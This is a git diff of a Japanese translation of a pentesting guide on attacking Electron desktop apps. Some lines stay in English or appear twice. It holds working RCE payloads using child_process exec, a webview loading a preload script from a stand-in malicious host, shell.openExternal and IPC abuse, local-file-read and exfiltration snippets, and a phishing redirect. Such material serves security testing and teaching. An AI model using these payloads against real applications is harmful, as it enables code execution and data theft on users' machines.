Translated ['', 'src/network-services-pentesting/pentesting-web/electron

This commit is contained in:
Translator 2025-09-08 02:45:30 +00:00
parent 65ebdc25a6
commit 31a591e497

View File

@ -1,30 +1,30 @@
# Electron Desktop Apps # Electron デスクトップアプリ
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Introduction ## はじめに
Electronはローカルバックエンド(**NodeJS**)とフロントエンド(**Chromium**)を組み合わせていますが、最新のブラウザのセキュリティメカニズムのいくつかが欠けています。 Electron はローカルバックエンド(**NodeJS**)とフロントエンド(**Chromium**)を組み合わせていますが、最新のブラウザが備えるいくつかのセキュリティ機構を欠いています。
通常、Electronアプリのコードは`.asar`アプリケーション内にあります。コードを取得するには、抽出する必要があります: 通常、Electron アプリのコードは `.asar` アーカイブの中にあることが多く、コードを取得するには抽出する必要があります:
```bash ```bash
npx asar extract app.asar destfolder #Extract everything npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file npx asar extract-file app.asar main.js #Extract just a file
``` ```
Electronアプリのソースコード内の`packet.json`には、セキュリティ設定が行われている`main.js`ファイルが指定されています。 Electronアプリのソースコードでは、`packet.json`内にセキュリティ設定が行われている`main.js`ファイルが指定されているのを見つけることができます。
```json ```json
{ {
"name": "standard-notes", "name": "standard-notes",
"main": "./app/index.js", "main": "./app/index.js",
``` ```
Electronには2つのプロセスタイプがあります Electronには2つのプロセスタイプがあります:
- メインプロセスNodeJSへの完全なアクセス権を持つ - Main Process (NodeJSへの完全なアクセス権を持つ)
- レンダラープロセスセキュリティ上の理由からNodeJSへのアクセスが制限されるべき - Renderer Process (セキュリティ上の理由からNodeJSへのアクセスは制限されるべき)
![](<../../../images/image (182).png>) ![](<../../../images/image (182).png>)
**レンダラープロセス**は、ファイルを読み込むブラウザウィンドウになります: A **renderer process** は、ファイルを読み込むブラウザウィンドウになります:
```javascript ```javascript
const { BrowserWindow } = require("electron") const { BrowserWindow } = require("electron")
let win = new BrowserWindow() let win = new BrowserWindow()
@ -32,20 +32,20 @@ let win = new BrowserWindow()
//Open Renderer Process //Open Renderer Process
win.loadURL(`file://path/to/index.html`) win.loadURL(`file://path/to/index.html`)
``` ```
**renderer process**の設定は、main.jsファイル内の**main process**で**構成**できます。いくつかの設定は、**設定が正しく構成されている**場合、ElectronアプリケーションがRCEやその他の脆弱性を持つのを**防ぐ**ことができます。 **レンダラープロセス**の設定は、main.js ファイル内の**メインプロセス**で**構成**できます。いくつかの設定は、**Electron アプリケーションが RCE を受けるのを防ぐ**などの脆弱性を防げるもので、**設定が正しく構成されている**場合に有効です。
Electronアプリケーションは、Node APIを介して**デバイスにアクセス**することができますが、それを防ぐように構成することもできます: Electron アプリケーションは Node APIs を介して**デバイスにアクセスできる**可能性がありますが、それを防ぐように構成できます:
- **`nodeIntegration`** - デフォルトでは`off`です。オンの場合、renderer processからNode機能にアクセスできます。 - **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the renderer process.
- **`contextIsolation`** - デフォルトでは`on`です。オフの場合、mainとrendererプロセスは隔離されません。 - **`contextIsolation`** - is `on` by default. If off, main and renderer processes aren't isolated.
- **`preload`** - デフォルトでは空です。 - **`preload`** - empty by default.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - デフォルトではオフです。NodeJSが実行できるアクションを制限します。 - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform.
- WorkersにおけるNode Integration - Node Integration in Workers
- **`nodeIntegrationInSubframes`** - デフォルトでは`off`です。 - **`nodeIntegrationInSubframes`**- is `off` by default.
- **`nodeIntegration`**が**有効**になっている場合、これはElectronアプリケーション内のiframeで**読み込まれたウェブページ**で**Node.js APIs**を使用することを許可します。 - If **`nodeIntegration`** is **有効**, this would allow the use of **Node.js APIs** in web pages that are **iframe に読み込まれた** within an Electron application.
- **`nodeIntegration`**が**無効**になっている場合、preloadsはiframe内で読み込まれます。 - If **`nodeIntegration`** is **無効**, then preloads will load in the iframe
構成の例: Example of configuration:
```javascript ```javascript
const mainWindowOptions = { const mainWindowOptions = {
title: "Discord", title: "Discord",
@ -71,7 +71,7 @@ spellcheck: true,
}, },
} }
``` ```
いくつかの **RCEペイロード** は [here](https://7as.es/electron/nodeIntegration_rce.txt) から: 以下は [here](https://7as.es/electron/nodeIntegration_rce.txt) からのいくつかの **RCE payloads**:
```html ```html
Example Payloads (Windows): Example Payloads (Windows):
<img <img
@ -95,15 +95,15 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
src="x" src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" /> onerror="alert(require('child_process').execSync('uname -a').toString());" />
``` ```
### トラフィックキャプチャ ### トラフィックキャプチャ
start-main構成を変更し、次のようなプロキシの使用を追加します: start-main の設定を変更し、次のような proxy の使用を追加します:
```javascript ```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
``` ```
## Electron Local Code Injection ## Electron Local Code Injection
Electronアプリをローカルで実行できる場合、任意のJavaScriptコードを実行させることが可能です。方法を確認してください もしローカルで Electron App を実行できるなら、任意の javascript コードを実行させることが可能な場合があります。詳しくは次を確認してください:
{{#ref}} {{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md ../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
@ -111,7 +111,7 @@ Electronアプリをローカルで実行できる場合、任意のJavaScript
## RCE: XSS + nodeIntegration ## RCE: XSS + nodeIntegration
**nodeIntegration**が**on**に設定されている場合、ウェブページのJavaScriptは`require()`を呼び出すだけでNode.jsの機能を簡単に使用できます。例えば、Windowsでcalcアプリケーションを実行する方法は次の通りです If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is:
```html ```html
<script> <script>
require("child_process").exec("calc") require("child_process").exec("calc")
@ -123,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload ## RCE: preload
この設定で示されたスクリプトは、**レンダラー内の他のスクリプトの前に読み込まれ**、したがって**Node APIへの無制限のアクセスを持ちます**: この設定で指定されたスクリプトは l**renderer内の他のスクリプトよりも先に読み込まれます**、そのため **Node APIs への無制限のアクセス** を持ちます:
```javascript ```javascript
new BrowserWindow{ new BrowserWindow{
webPreferences: { webPreferences: {
@ -132,7 +132,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
} }
}); });
``` ```
したがって、スクリプトはnode-featuresをページにエクスポートできます したがって、このスクリプトは node-features を pages にエクスポートできます:
```javascript:preload.js ```javascript:preload.js
typeof require === "function" typeof require === "function"
window.runCalc = function () { window.runCalc = function () {
@ -148,63 +148,66 @@ runCalc()
</script> </script>
</body> </body>
``` ```
> [!NOTE] > **`contextIsolation`がオンの場合、これは機能しません** > [!NOTE] > **もし `contextIsolation` が有効になっている場合、これは動作しません**
## RCE: XSS + contextIsolation ## RCE: XSS + contextIsolation
_**contextIsolation**_は、**ウェブページのスクリプトとJavaScript Electronの内部コードの間に分離されたコンテキストを導入**し、各コードのJavaScript実行が互いに影響を与えないようにします。これはRCEの可能性を排除するために必要な機能です。 _**contextIsolation**_ は、web ページのスクリプトと JavaScript の Electron 内部コードの間に **分離されたコンテキスト** を導入し、それぞれの JavaScript 実行が互いに影響を与えないようにします。これは RCE の可能性を排除するために必要な機能です。
コンテキストが分離されていない場合、攻撃者は以下のことができます: もしコンテキストが分離されていないと、攻撃者は次のことが可能になります:
1. **レンダラーで任意のJavaScriptを実行**XSSまたは外部サイトへのナビゲーション 1. レンダラー内で **arbitrary JavaScript in renderer** を実行するXSS または外部サイトへの遷移)
2. **プリロードまたはElectron内部コードで使用される組み込みメソッドを上書き**して独自の関数にする 2. preload や Electron 内部コードで使用される **built-in method を上書き** して自分の関数にする
3. **上書きされた関数の使用をトリガー** 3. **Trigger** して **overwritten function** の使用を呼び出す
4. RCE 4. RCE?
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
組み込みメソッドを上書きできる場所は2つありますプリロードコードまたはElectron内部コード
{{#ref}} {{#ref}}
electron-contextisolation-rce-via-preload-code.md electron-contextisolation-rce-via-preload-code.md
{{#endref}} {{#endref}}
{{#ref}} {{#ref}}
electron-contextisolation-rce-via-electron-internal-code.md electron-contextisolation-rce-via-electron-internal-code.md
{{#endref}} {{#endref}}
{{#ref}} {{#ref}}
electron-contextisolation-rce-via-ipc.md electron-contextisolation-rce-via-ipc.md
{{#endref}} {{#endref}}
### クリックイベントのバイパス ### Bypass click event
リンクをクリックする際に制限が適用されている場合、通常の左クリックの代わりに**ミドルクリック**を行うことでそれらをバイパスできるかもしれません。 リンクをクリックしたときに制限がある場合、通常の left click の代わりに **doing a middle click** を行うことでそれらを回避できることがあります
```javascript ```javascript
window.addEventListener('click', (e) => { window.addEventListener('click', (e) => {
``` ```
## RCE via shell.openExternal ## RCE via shell.openExternal
この例に関する詳細は[https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8)および[https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)を確認してください。 この例の詳細は [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8)[https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) を参照してください。
Electronデスクトップアプリケーションを展開する際には、`nodeIntegration``contextIsolation`の設定が正しいことを確認することが重要です。**クライアント側のリモートコード実行RCE**がプリロードスクリプトやメインプロセスからのElectronのネイティブコードをターゲットにする場合、これらの設定が整っていれば効果的に防止されることが確立されています。 Electron デスクトップアプリケーションを展開する際は、`nodeIntegration``contextIsolation` の設定を正しく行うことが重要です。これらの設定により、main process から preload scripts や Electron のネイティブコードを標的とする **client-side remote code execution (RCE)** が実質的に防止されることが確認されています。
ユーザーがリンクと対話したり新しいウィンドウを開いたりすると、特定のイベントリスナーがトリガーされ、アプリケーションのセキュリティと機能にとって重要です: ユーザーがリンクをクリックしたり新しいウィンドウを開いたりすると、アプリのセキュリティと機能にとって重要な特定のイベントリスナーがトリガーされます:
```javascript ```javascript
webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {} webContents.on("will-navigate", function (event, url) {}
``` ```
これらのリスナーは**デスクトップアプリケーションによってオーバーライドされ**、独自の**ビジネスロジック**を実装します。アプリケーションは、ナビゲートされたリンクを内部で開くべきか、外部のウェブブラウザで開くべきかを評価します。この決定は通常、`openInternally`という関数を通じて行われます。この関数が`false`を返す場合、リンクは外部で開くべきであることを示し、`shell.openExternal`関数を利用します。 これらのリスナーは、デスクトップアプリケーションによって**上書きされ**、独自の**ビジネスロジック**を実装します。アプリケーションは、遷移したリンクを内部で開くべきか外部のウェブブラウザで開くべきかを判断します。この判断は通常 `openInternally` 関数で行われます。もしこの関数が `false` を返すと、リンクは外部で開くべきであることを示し、`shell.openExternal` 関数を使用します。
**以下は簡略化された擬似コードです:** **以下は簡略化した擬似コードです:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>) ![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Electron JSのセキュリティベストプラクティスは、`openExternal`関数で信頼できないコンテンツを受け入れることを避けるように助言しています。これは、さまざまなプロトコルを通じてRCEを引き起こす可能性があります。オペレーティングシステムは、RCEを引き起こす可能性のある異なるプロトコルをサポートしています。このトピックに関する詳細な例とさらなる説明については、[このリソース](https://positive.security/blog/url-open-rce#windows-10-19042)を参照してください。ここにはこの脆弱性を悪用できるWindowsプロトコルの例が含まれています。 Electron JS のセキュリティベストプラクティスは、`openExternal` 関数で信頼できないコンテンツを受け入れるべきではないと助言しています。さもないと、さまざまなプロトコルを介して RCE を引き起こす可能性があります。オペレーティングシステムは RCE を引き起こし得るさまざまなプロトコルをサポートしています。このトピックの詳細な例や説明については、[this resource](https://positive.security/blog/url-open-rce#windows-10-19042) を参照してください。ここにはこの脆弱性を悪用できる Windows プロトコルの例が含まれています。
macOSでは、`openExternal`関数を悪用して、`shell.openExternal('file:///System/Applications/Calculator.app')`のように任意のコマンドを実行できます。 macos では、`openExternal` 関数を悪用して `shell.openExternal('file:///System/Applications/Calculator.app')` のように任意のコマンドを実行させることができます。
**Windowsプロトコルの悪用例には:** **Windows プロトコルの悪用例には以下が含まれます**
```html ```html
<script> <script>
window.open( window.open(
@ -224,17 +227,17 @@ window.open(
) )
</script> </script>
``` ```
## RCE: webviewTag + 脆弱なプリロードIPC + shell.openExternal ## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
この脆弱性は**[このレポート](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**にあります。 この vuln は **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** にあります。
**webviewTag**は**非推奨の機能**で、**レンダラープロセス**内で**NodeJS**を使用することを可能にします。これは、プリロードコンテキスト内でスクリプトを読み込むことを許可するため、無効にするべきです。 The **webviewTag****deprecated feature** で、**renderer process** 内で **NodeJS** の使用を許可します。無効化すべきで、preload コンテキスト内にスクリプトを読み込めるため、次のようになります:
```xml ```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview> <webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
``` ```
したがって、任意のページを読み込むことができる攻撃者は、そのタグを使用して**任意のプリロードスクリプトを読み込む**ことができます。 したがって、任意のページを読み込める攻撃者は、そのタグを使って**任意の preload script を読み込む**ことができます。
このプリロードスクリプトは、その後**脆弱なIPCサービス`skype-new-window`**を呼び出すために悪用され、**`shell.openExternal`**を呼び出してRCEを取得しました この preload script は悪用され、**vulnerable IPC service (`skype-new-window`)** を呼び出し、それが **`shell.openExternal`** を呼び出して RCE を引き起こしていました:
```javascript ```javascript
(async() => { (async() => {
const { ipcRenderer } = require("electron"); const { ipcRenderer } = require("electron");
@ -247,11 +250,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
``` ```
## 内部ファイルの読み取り: XSS + contextIsolation ## 内部ファイルの読み取り: XSS + contextIsolation
**`contextIsolation`を無効にすると、ローカルファイルを読み取るために`<webview>`タグを使用できるようになります**。これは`<iframe>`に似ています。この脆弱性を利用して内部ファイルの内容を読み取る方法の例が示されています: **`contextIsolation`を無効にすると、`<webview>`タグ(`<iframe>`に類似を使用してローカルファイルの読み取りおよびデータのexfiltrateが可能になります。** 以下の例は、この脆弱性を利用して内部ファイルの内容を読み取る方法を示しています:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>) ![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
さらに、**内部ファイルを読み取る**ための別の方法が共有されており、Electronデスクトップアプリにおける重要なローカルファイル読み取りの脆弱性が強調されています。これには、アプリケーションを悪用しデータを抽出するためのスクリプトを注入することが含まれます: さらに、**内部ファイルの読み取り**の別の方法が共有されており、Electronデスクトップアプリにおける深刻なローカルファイル読み取り脆弱性が強調されています。これは、アプリケーションを悪用するためにスクリプトを注入し、データをexfiltrateする手法を伴います:
```html ```html
<br /><br /><br /><br /> <br /><br /><br /><br />
<h1> <h1>
@ -267,23 +270,27 @@ frames[0].document.body.innerText
</script> </script>
</h1> </h1>
``` ```
## **RCE: XSS + 古いChromium** ## **RCE: XSS + Old Chromium**
もしアプリケーションで使用されている**chromium**が**古い**もので、**既知の****脆弱性**がある場合、**XSSを通じてそれを悪用しRCEを取得する**ことが可能かもしれません。\ アプリケーションで使用されている **chromium****old** で、既知の **vulnerabilities** が存在する場合、それを悪用して **RCE****XSS** 経由で取得できる可能性があります。\
この**writeup**の例を参照してください: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) 例はこの **writeup** で確認できます: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **内部URLの正規表現バイパスによるXSSフィッシング** ## **XSS Phishing via Internal URL regex bypass**
XSSを見つけたが、**RCEをトリガーできないまたは内部ファイルを盗むことができない**場合、**フィッシングを通じて資格情報を盗む**ためにそれを使用することを試みることができます。 XSS を見つけたが **RCE をトリガーできない** または **内部ファイルを盗めない** 場合、**phishing を使って認証情報を盗む**ことを試みることができます。
まず最初に、新しいURLを開こうとしたときに何が起こるかを知る必要があります。フロントエンドのJSコードを確認してください: まず、新しい URL を開こうとしたときに何が起きるかを、フロントエンドの JS コードを確認して把握する必要があります:
```javascript ```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
``` ```
**`openInternally`**への呼び出しは、**リンク**がプラットフォームに属するリンクであるため、**デスクトップウィンドウ**で**開かれる**か、**ブラウザで3rdパーティリソース**として**開かれる**かを決定します。 The call to **`openInternally`** will decide if the **link** will be **opened** in the **desktop window** as it's a link belonging to the platform, **or** if will be opened in the **browser as a 3rd party resource**.
関数で使用される**regex**が**バイパスに対して脆弱**な場合(例えば、**サブドメインのドットをエスケープしていない**場合、攻撃者はXSSを悪用して、攻撃者のインフラストラクチャに位置する**新しいウィンドウを開き**、ユーザーに**認証情報を要求する**ことができます。 In the case the **regex** used by the function is **vulnerable to bypasses** (for example by **not escaping the dots of subdomains**) an attacker could abuse the XSS to **open a new window which** will be located in the attackers infrastructure **asking for credentials** to the user:
**`openInternally`** の呼び出しは、その **リンク** がプラットフォームに属するものとして **デスクトップウィンドウ****開かれる** のか、**または** **ブラウザ(サードパーティのリソースとして)****開かれる** のかを決定します。
関数で使用される **regex****vulnerable to bypasses**(例えば **サブドメインのドットをエスケープしていない** 場合)の場合、攻撃者は XSS を悪用して **新しいウィンドウを開く**(攻撃者のインフラ上に配置され)、ユーザに **認証情報を要求する** ように仕向けることができます:
```html ```html
<script> <script>
window.open("<http://subdomainagoogleq.com/index.html>") window.open("<http://subdomainagoogleq.com/index.html>")
@ -291,21 +298,21 @@ window.open("<http://subdomainagoogleq.com/index.html>")
``` ```
## `file://` プロトコル ## `file://` プロトコル
[ドキュメント](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols)に記載されているように、**`file://`** で実行されるページは、あなたのマシン上のすべてのファイルに一方的にアクセスできるため、**XSSの問題を利用してユーザーのマシンから任意のファイルを読み込むことができます**。**カスタムプロトコル**を使用することで、このような問題を防ぐことができ、特定のファイルセットのみを提供するようにプロトコルを制限できます。 As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** はマシン上のすべてのファイルに一方的にアクセスできるため、**XSS を悪用してユーザーのマシンから任意のファイルを読み込む**ことが可能です。**カスタムプロトコル**を使用すると、提供するファイルを特定のセットに限定できるため、このような問題を防げます。
## リモートモジュール ## Remote module
Electronのリモートモジュールは、**レンダラープロセスがメインプロセスのAPIにアクセスする**ことを可能にし、Electronアプリケーション内の通信を促進します。しかし、このモジュールを有効にすると重大なセキュリティリスクが生じます。アプリケーションの攻撃面が広がり、クロスサイトスクリプティングXSS攻撃などの脆弱性に対してより脆弱になります。 Electron の Remote モジュールは、レンダラープロセスがメインプロセスの API にアクセスできるようにし、Electron アプリ内での通信を容易にします。しかし、このモジュールを有効にすると重大なセキュリティリスクが生じます。攻撃対象領域が拡大し、XSS のような脆弱性に対してより脆弱になります。
> [!TIP] > [!TIP]
> **リモート**モジュールは、メインからレンダラープロセスへのいくつかのAPIを公開しますが、コンポーネントを悪用するだけでRCEを取得するのは簡単ではありません。しかし、コンポーネントは機密情報を公開する可能性があります。 > Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.
> [!WARNING] > [!WARNING]
> リモートモジュールをまだ使用している多くのアプリは、レンダラープロセスで**NodeIntegrationを有効にする必要がある**方法で実装されており、これは**大きなセキュリティリスク**です。 > 多くのアプリがまだ remote モジュールを使っていますが、それを行う多くはレンダラープロセスで **require NodeIntegration to be enabled** という方法を取っており、これは **重大なセキュリティリスク** です。
Electron 14以降、Electronの`remote`モジュールは、セキュリティとパフォーマンスの理由からいくつかのステップで有効にされる可能性があるため、**使用しないことを推奨します** Electron 14 以降、`remote` モジュールは複数の手順で有効化される場合がありますが、セキュリティおよびパフォーマンス上の理由から **使用しないことが推奨されています**
これを有効にするには、まず**メインプロセスで有効にする必要があります**: 有効にするには、まずメインプロセスで**それを有効にする**必要があります:
```javascript ```javascript
const remoteMain = require('@electron/remote/main') const remoteMain = require('@electron/remote/main')
remoteMain.initialize() remoteMain.initialize()
@ -316,35 +323,37 @@ mainWindow = new BrowserWindow({
}) })
remoteMain.enable(mainWindow.webContents) remoteMain.enable(mainWindow.webContents)
``` ```
その後、レンダラープロセスはモジュールからオブジェクトをインポートできます。 すると、レンダラープロセスはモジュールからオブジェクトを次のようにインポートできます:
```javascript ```javascript
import { dialog, getCurrentWindow } from '@electron/remote' import { dialog, getCurrentWindow } from '@electron/remote'
``` ```
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** は、リモートモジュールのオブジェクト **`app`** によって公開されているいくつかの興味深い **関数** を示しています The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** は remote モジュールのオブジェクト **`app`** によって公開されているいくつかの興味深い **関数** を示しています:
- **`app.relaunch([options])`** - **`app.relaunch([options])`**
- 現在のインスタンスを **終了**、新しいインスタンスを **起動** することでアプリケーションを **再起動** します。**アプリの更新** や重要な **状態変更** に便利です。 - **再起動**: 現在のインスタンスを **終了**て新しいインスタンスを **起動** することでアプリケーションを再起動します。**アプリの更新**や重大な**状態変化**の際に有用です。
- **`app.setAppLogsPath([path])`** - **`app.setAppLogsPath([path])`**
- **アプリログ** を保存するためのディレクトリを **定義** または **作成** します。ログは **`app.getPath()`** または **`app.setPath(pathName, newPath)`** を使用して **取得** または **変更** できます。 - **定義/作成**: **アプリのログ** を格納するディレクトリを定義または作成します。ログは **`app.getPath()`** や **`app.setPath(pathName, newPath)`** を使用して **取得** または **変更** できます。
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`** - **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- 指定された **プロトコル****デフォルトハンドラー** として現在の実行可能ファイルを **登録** します。必要に応じて **カスタムパス****引数** を提供できます。 - **登録**: 指定した **protocol** の既定ハンドラとして現在の実行ファイルを登録します。必要に応じて **カスタムパス****引数** を指定できます。
- **`app.setUserTasks(tasks)`** - **`app.setUserTasks(tasks)`**
- **ジャンプリスト** の **タスクカテゴリ** にタスクを **追加** しますWindows。各タスクはアプリがどのように **起動** されるか、またはどの **引数** が渡されるかを制御できます。 - **追加**: Windows の **Jump List****Tasks category** にタスクを追加します。各タスクはアプリの **起動方法** や渡される **引数** を制御できます。
- **`app.importCertificate(options, callback)`** - **`app.importCertificate(options, callback)`**
- システムの **証明書ストア****PKCS#12証明書****インポート** しますLinuxのみ。結果を処理するために **コールバック** を使用できます。 - **インポート**: システムの証明書ストアに **PKCS#12 証明書** をインポートしますLinux のみ)。結果を処理するために **callback** を使用できます。
- **`app.moveToApplicationsFolder([options])`** - **`app.moveToApplicationsFolder([options])`**
- アプリケーションを **アプリケーションフォルダ****移動** しますmacOS。Macユーザーのために **標準インストール** を確保するのに役立ちます。 - **移動**: アプリケーションを **Applications フォルダ** に移動しますmacOS。Mac ユーザ向けの標準的なインストールを確保するのに役立ちます。
- **`app.setJumpList(categories)`** - **`app.setJumpList(categories)`**
- **Windows** で **カスタムジャンプリスト****設定** または **削除** します。タスクがユーザーにどのように表示されるかを整理するために **カテゴリ** を指定できます。 - **設定/削除**: Windows でカスタム **Jump List** を設定または削除します。タスクの表示方法を整理するために **categories** を指定できます。
- **`app.setLoginItemSettings(settings)`** - **`app.setLoginItemSettings(settings)`**
- **ログイン** 時に起動する **実行可能ファイル** とその **オプション****構成** しますmacOS と Windows のみ)。 - **構成**: ログイン時に起動する **実行可能ファイル** とその **オプション** を設定しますmacOS と Windows のみ)。
Example:
```javascript ```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"}); Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit() Native.app.exit()
``` ```
## systemPreferences モジュール ## systemPreferences モジュール
Electron におけるシステム設定にアクセスし、システムイベントを発信するための **主要な API**。**subscribeNotification**、**subscribeWorkspaceNotification**、**getUserDefault**、および **setUserDefault** のようなメソッドはすべてこのモジュールの **一部** です。 Electronにおけるシステム設定へのアクセスと**システムイベントの発行**のための**主要な API**です。**subscribeNotification**、**subscribeWorkspaceNotification**、**getUserDefault**、および**setUserDefault** のようなメソッドはすべて**このモジュールの一部**です。
**使用例:** **使用例:**
```javascript ```javascript
@ -361,50 +370,52 @@ console.log('Recent Places:', recentPlaces);
``` ```
### **subscribeNotification / subscribeWorkspaceNotification** ### **subscribeNotification / subscribeWorkspaceNotification**
* **ネイティブmacOS通知**をNSDistributedNotificationCenterを使用して**リッスン**します。 * **監視**: NSDistributedNotificationCenter を使用して **ネイティブ macOS 通知** を受信します。
* **macOS Catalina**以前は、CFNotificationCenterAddObserverに**nil**を渡すことで**すべての**分散通知をスニッフィングできました。 * **macOS Catalina** より前は、CFNotificationCenterAddObserver に **nil** を渡すことで **すべて** の distributed notifications を傍受できました。
* **Catalina / Big Sur**以降、サンドボックス化されたアプリは、通知を**名前**で登録することで、**多くのイベント**(例えば、**画面のロック/ロック解除**、**ボリュームのマウント**、**ネットワークアクティビティ**など)に**サブスクライブ**できます。 * **Catalina / Big Sur** 以降、サンドボックス化されたアプリは通知を名前で登録することで、たとえば **画面のロック/アンロック**、**ボリュームのマウント**、**ネットワーク活動** などの **多くのイベント** を引き続き **購読** できます。
### **getUserDefault / setUserDefault** ### **getUserDefault / setUserDefault**
* **NSUserDefaults**と**インターフェース**し、macOS上の**アプリケーション**または**グローバル**な設定を保存します。 * **NSUserDefaults****連携** し、macOS 上の **アプリケーション** または **グローバル** 設定を保存します。
* **getUserDefault**は、**最近のファイルの場所**や**ユーザーの地理的位置**などの機密情報を**取得**できます。 * **getUserDefault****最近のファイルの場所****ユーザーの地理的位置** といった **機密情報****取得** できます。
* **setUserDefault**は、これらの設定を**変更**でき、アプリの**構成**に影響を与える可能性があります。 * **setUserDefault** はこれらの設定を **変更** し、アプリの **構成** に影響を与える可能性があります。
* **古いElectronバージョン**v8.3.0以前)では、**標準スイート**のNSUserDefaultsのみが**アクセス可能**でした。 * **古い Electron バージョン**v8.3.0 より前では、NSUserDefaults の **standard suite** のみが **アクセス可能** でした。
## Shell.showItemInFolder ## Shell.showItemInFolder
この関数は、指定されたファイルをファイルマネージャーで表示し、**ファイルを自動的に実行する可能性があります** この関数はファイルマネージャで指定されたファイルを表示します。ファイルマネージャによっては自動的にファイルを実行してしまう可能性があります
詳細については、[https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)を確認してください。 For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy ## コンテンツセキュリティポリシー
Electronアプリは、**XSS攻撃**を**防ぐ**ために**Content Security Policy (CSP)**を持つべきです。**CSP**は、ブラウザ内での**信頼できないコード**の**実行**を**防ぐ**のに役立つ**セキュリティ標準**です。 Electron アプリには **コンテンツセキュリティポリシー (CSP)** を設定し、**XSS 攻撃を防止** する必要があります。**CSP** はブラウザ内で **信頼されていないコード****実行****防ぐ** のに役立つ **セキュリティ標準** です。
通常、**`main.js`**ファイルまたは**`index.html`**テンプレート内の**metaタグ**内にCSPが**設定**されています。 通常は **`main.js`** ファイルや **`index.html`** テンプレート内の **meta tag** に CSP を **設定** します。
For more information check:
詳細については、以下を確認してください:
{{#ref}} {{#ref}}
pentesting-web/content-security-policy-csp-bypass/ pentesting-web/content-security-policy-csp-bypass/
{{#endref}} {{#endref}}
## **Tools**
- [**Electronegativity**](https://github.com/doyensec/electronegativity)は、Electronベースのアプリケーションにおける設定ミスやセキュリティアンチパターンを特定するためのツールです。 ## **ツール**
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint)は、Electronegativityを使用するElectronアプリケーション用のオープンソースのVS Codeプラグインです。
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan)は、脆弱なサードパーティライブラリをチェックするためのツールです。
- [**Electro.ng**](https://electro.ng/): 購入が必要です。
## Labs - [**Electronegativity**](https://github.com/doyensec/electronegativity) は Electron ベースのアプリケーションにおけるミスコンフィグやセキュリティのアンチパターンを特定するツールです。
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) は Electronegativity を利用する Electron 向けのオープンソース VS Code プラグインです。
